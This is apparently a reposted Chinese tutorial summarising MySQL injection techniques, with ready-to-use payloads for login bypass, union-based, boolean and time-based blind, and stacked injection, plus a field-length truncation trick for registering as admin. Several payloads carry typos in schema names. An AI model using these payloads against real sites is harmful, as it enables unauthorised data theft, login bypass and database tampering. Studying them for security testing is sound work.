mysql 多行拼接注入_MySQL注入汇总

Mysql注释符:

单行注释: # 在对URL使用过程中可能遇到Unicode编码问题,可常用%23代替

多行注释:/**/

单行注释: -- 此处需要注意后面存在空格,否则报错

0.万能密码

(基于SQL验证,SQL注入)

aaa' or 1#

aaa' or 1; -- 会导致不成功,应为注释掉了sql语句拼接的单引号,导致无法完成查询

aaa' or 1; -- aaaaa

aaa' or 1; /******

(基于%00截断绕过)

aa' or 1 %00/*

aa' or 1 %001451618646415:扰乱判定

1.UNION联合注入

前置关键词:union ;order by;limit;

union:使用时需要于前置查询结果列数相同

order by :可用于对指定列进行排序

limit a,b:取出查询的从a开始b个的指定位置数据

前置关键函数:database(); version();user(); database():当前数据库

关键数据库:information_schema

思路:直接查询

获取union前查询语句的列数

例如:http://www.a.com/mysql.php?sql=1' order by 4 %23%23%23 通过使用order by 排序来判定列数

假设已知列数为3,可进一步使用联合查询执行关键函数

例如:http://www.a.com/mysql.php?sql=1' and 0 union select user(),version(),database()%23%23%23* 通过使用order by 排序来判定列数

查询该当前数据库test有多少表

例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.TABLES,2,3 where TABLE_SCHEMA='test' limit 0,1%23%23%23* 通过使用information_schema的tables属性查询表,结合limit逐个查询

查询该当前表testTable字段信息

例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.CLOUMNS,2,3 where TABLE_NAME='testTable' limit 0,1%23%23%23* 通过使用information_schema的cloumns属性查询表字段,结合limit逐个查询。

注意:TABLE_NAME='testTable' 建议将testTable的16进制写入进行替换

扩展,可以使用concat(a,'--',b)函数可以将查询到的两个结果进行拼接,一般用于账号于密码md5值对应

2.BOOL布尔注入(盲注)

前置关键函数:mid() ;ord();length();

mid(str,1,2):字符串截取函数

ord():转为ascii码

length():统计长度

思路:可以进行逐个字符爆破猜解

使用and或者or进行测试

例如:http://www.a.com/mysql.php?sql=1' and 0 %23%23%23%23

猜测数据库长度是否为3

例如:http://www.a.com/mysql.php?sql=1' and (select length(database())) = 3%23%23%23%23

猜测数据库名

例如:http://www.a.com/mysql.php?sql=1' and (select ord(mid(database(),1,1)) > 97%23%23%23%23

通过截取数据库名的第一字符并转至为ascii与数字不断比较猜测

完成数据库名测试后,开始爆破表数量

例如:http://www.a.com/mysql.php?sql=1' and (select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1) = 3%23%23%23%23

完成表数量测试后,开始爆破表名

例如:http://www.a.com/mysql.php?sql=1' and mid((select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1),1,1) > 97%23%23%23%23

3.SLEEP延时注入(盲注)

前置关键函数:sleep(),if();

sleep():指定睡眠时间

if():类似于编程的三元表达式

例如猜测数据库长度

例如:http://www.a.com/mysql.php?sql=1' and sleep(if( length(database()) = 3,0,5)%23%23%23%23

后面同布尔注入思路相同,逐个猜测即可

4.堆叠注入(Stacked Injection)

前置知识:SQL语法

注意:该方法不适用于Oracle数据库

利用原理:通过;来构造执行多条语句

例如可以插入信息,当然前提知道可以插入的字段,数据表等

例如:http://www.a.com/mysql.php?sql=1' ;insert into users(id,username,password) value (77,'acca','bbc')%23%23%23%23

后面思路可以执行SQL语句的思路来进行更关键的数据获取,增删查改等操作

5.基于约束型注入

前置知识:SQL语法

利用原理:由于管理员在创建数据库时可能对字段长度进行约束,输入是超过其长度限制,利用系统截断功能处理,一般常用于insert中进行覆盖等,多见于CTF题型中

例如20个字符以内varchar(20),存储用户名为admin可在账户注册部分进行测试

例如:注册账户设置为admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201,通过填充空格数进行恶意注册,利用数据库自行截断功能,获取的内容将变为admin(若代码存在清除空格)

6.GET型注入

7.POST型注入

8.Cookie注入

9.搜索型注入

10.宽字节注入

11.二次注入

12.Insert注入

13.报错型注入

14.二次编码注入

15.DNSlog注入(盲注)

资料参考

后记

由于本人技术,精力有限,导致sql注入类型只是完成前5个详细说明,其他进行了列举,但是后期会抽出时间进行更新,以上内容有参考网上其他文章,已经列举至参考资料一栏,若存在错误,请大家予以斧正,若需商业化使用,请及时告知,谢谢。欢迎技术交流QQ:3300744526

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/310945.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《C++ Primer》13.1.6节练习(部分)

练习13.18: #include <iostream> #include <string> using namespace std;class Employee {private:static int sn;public:Employee() {mysn sn;}Employee(const string &s) {name s;mysn sn;}const string &get_name() {return name;}int get_mysn() …

用Azure Custom Vision 零代码创建一个口罩识别模型

新冠肺炎下&#xff0c;地球是一家&#xff0c;不分国籍&#xff0c;不分种族&#xff0c;或者现在只能呆在家中&#xff0c;但是也是一种对抗疫的支持。停课不停学留在家中&#xff0c;不仅是对学生&#xff0c;对于所有人都是有用的。在现阶段&#xff0c;大家可能最需要的不…

C++拷贝构造函数调用时机分析

让我们来分析下面这段代码&#xff1a; #include <iostream> #include <string> using namespace std;class Employee {private:static int sn;public:Employee() {cout << "Employee()" << endl;mysn sn;}Employee(const string &s) …

java开发中准则怎么写_Java开发中通用的方法和准则20条

1. 不要在常量和变量中出现易混淆的字母包名全小写、类名首字母全大写、常量全部大写并下划线分割、变量采用驼峰命名等&#xff0c;这些是最基本的Java编码规范。public class TestDemo {public static void main(String[] args) {long i 1l;System.out.println("i的两倍…

百万年薪程序员的7点能力

作者介绍findyi&#xff0c;腾讯、360码农&#xff0c;前哒哒少儿英语技术VP&#xff0c;现任土豆教育CTO。几周前&#xff0c;微盟爆了个大雷&#xff0c;数据库让内部员工删库跑路。写了篇文章&#xff0c;做了一些我的判断&#xff1a;从微盟36小时故障&#xff0c;谈谈数据…

《C++ Primer》13.1.1节练习

练习13.1: 如果构造函数的第一个参数是自身类类型的引用&#xff0c;且所有其他参数&#xff08;如果有的话&#xff09;都有默认值&#xff0c;则此构造函数是拷贝构造函数。拷贝构造函数在以下几种情况下会被使用&#xff1a; ●拷贝初始化&#xff08;用定义变量&#xff09…

Java将五个整数存入整形数组_异常处理:从命令行输入5个整数,放入一整型数组,然后打印输出。。。...

从命令行输入5个整数&#xff0c;放入一整型数组&#xff0c;然后打印输出。要求&#xff1a;如果输入数据不为整数&#xff0c;要捕获输入不匹配异常&#xff0c;显示“请输入整数”&#xff1b;如果输入数据多余5个&#xff0c;捕获数组越界异常&#xff0c;显示“请输入5个整…

优秀的开发者从命名开始

有人说&#xff0c;命名能力也能体现一个程序员的基本编程素养。我很赞成这句话&#xff01;作为开发人员逃不过起名字这一关的,大到项目名、模块名&#xff0c;小到类名、方法名、参数名、参数名、变量名。而命名又对代码的质量和可读性起到很关键的决定。如何码出高质量的代码…

《C++ Primer》13.1.2节练习

练习13.6&#xff1a; 拷贝赋值运算符本身是一个重载的赋值运算符&#xff0c;定义为类的成员函数&#xff0c;左侧运算对象绑定到隐含的this参数&#xff0c;而右侧运算对象是所属类类型的&#xff0c;作为函数的参数&#xff0c;函数返回指向其左侧运算对象的引用。 当对类对…

PHP自动判断用户会员过期,php,_定时扣除用户过期积分,但平台用户量比较大,有没有好的解决方法?,php - phpStudy...

定时扣除用户过期积分&#xff0c;但平台用户量比较大&#xff0c;有没有好的解决方法&#xff1f;最近网站实行用户积分过期制度&#xff0c;只保留用户近三月积分&#xff0c;三月前未使用积分进行扣除但平台用户量比较大&#xff0c;感觉这样做会出问题&#xff0c;有没有好…

【复杂系统迁移 .NET Core平台系列】之认证和授权

源宝导读&#xff1a;微软跨平台技术框架—.NET Core已经日趋成熟&#xff0c;已经具备了支撑大型系统稳定运行的条件。本文将介绍明源云ERP平台从.NET Framework向.NET Core迁移过程中的实践经验。一、背景随着ERP的产品线越来越多&#xff0c;业务关联也日益复杂&#xff0c;…

《C++ Primer》13.1.3节练习

练习13.9: 析构函数完成与构造函数相反的工作&#xff1a;释放对象使用的资源&#xff0c;销毁非静态数据成员。从语法上看&#xff0c;它是类的一个成员函数&#xff0c;名字是波浪号接类名&#xff0c;没有返回值&#xff0c;也不接受参数。 当一个类没有定义析构函数时&…

php冒泡程序讲解,PHP冒泡排序程序代码与源代码

冒泡排序是php中众多排序中的一个最简单的排序方法了下面一聚教程小伙伴就同各位介绍一个冒泡排序的例子&#xff0c;希望能帮助到各位。冒泡排序简介&#xff1a;冒泡排序(Bubble Sort)&#xff0c;是一种计算机科学领域的较简单的排序算法。它重复地走访过要排序的数列&#…

.NET Core开发实战(第30课:领域事件:提升业务内聚,实现模块解耦)--学习笔记...

30 | 领域事件&#xff1a;提升业务内聚&#xff0c;实现模块解耦我们在领域的抽象层定义了领域事件和领域事件处理的接口IDomainEventnamespace GeekTime.Domain {public interface IDomainEvent : INotification{} }这是一个空接口&#xff0c;它只是标记出来某一个对象是否是…

《C++ Primer》8.1.2节练习

练习8.1: #include <iostream> #include <stdexcept> using namespace std;istream &f(istream &in) {int v;while (in >> v, !in.eof()) {if (in.bad())throw runtime_error("IO流错误");if (in.fail()) {cerr << "数据错误&…

mac升级php7,MAC更新自带php版本到7.0

说一下我最近更新mac自带php版本的经历&#xff0c;我是按照网上的教程更新的&#xff0c;主要参考的是这篇博客http://blog.csdn.net/takunha/article/details/52484769&#xff0c;通过Homebrew来安装&#xff0c;安装过程除了速度有点慢之外&#xff0c;其他都还算顺利。可装…

.NET 5 Preview 1的深度解读和跟进

这几天微软.NET 团队发布了.NET 5 Preview 1, 如约而至。很兴奋&#xff0c;因为.NET Core和.NET Framework终于实现了大一统&#xff0c;同时也很期待&#xff0c;期待.NET 5能给我们带来哪些好的新特性。让我们先把时间拨回到2019年...一、2019年.NET 5的提前剧透去年2019年 …

程序员羽化之路--假如需要一百万个对象

点击上方蓝字关注我们菜菜哥&#xff0c;救命呀又被产品经理砍了&#xff1f;这次搞不好真要被砍了&#xff0c;线上一个用户系统内存溢出了&#xff0c;占用内存太高了用户基数大&#xff0c;内存占用高正常高的不太正常了&#xff0c;我觉得可能和我的设计有关那说说你的用户…

iis php打开空白页,windows+IIS+php 访问显示空白页 php版本信息访问正常

10:48:46 A session had already been started - ignoring session_start() in E:\zentaopms\module\common\model.php on line 24 when visiting10:48:46 ERROR: 鎮ㄨ闂殑鍩熷悕 172.25.8.82:8080 娌℃湁瀵瑰簲鐨勫叕鍙搞€&#xfffd; in E:\zentaopms\module\common\mo…

《C++ Primer》8.2.1节练习(部分)

练习8.4: #include <iostream> #include <fstream> #include <string> #include <vector> using namespace std;int main() {//打开文件ifstream in("D:\\CCCCCCCCCCCCCCCCCCC\\yyhaif.txt");if (!in) {cerr << "无法打开输入文…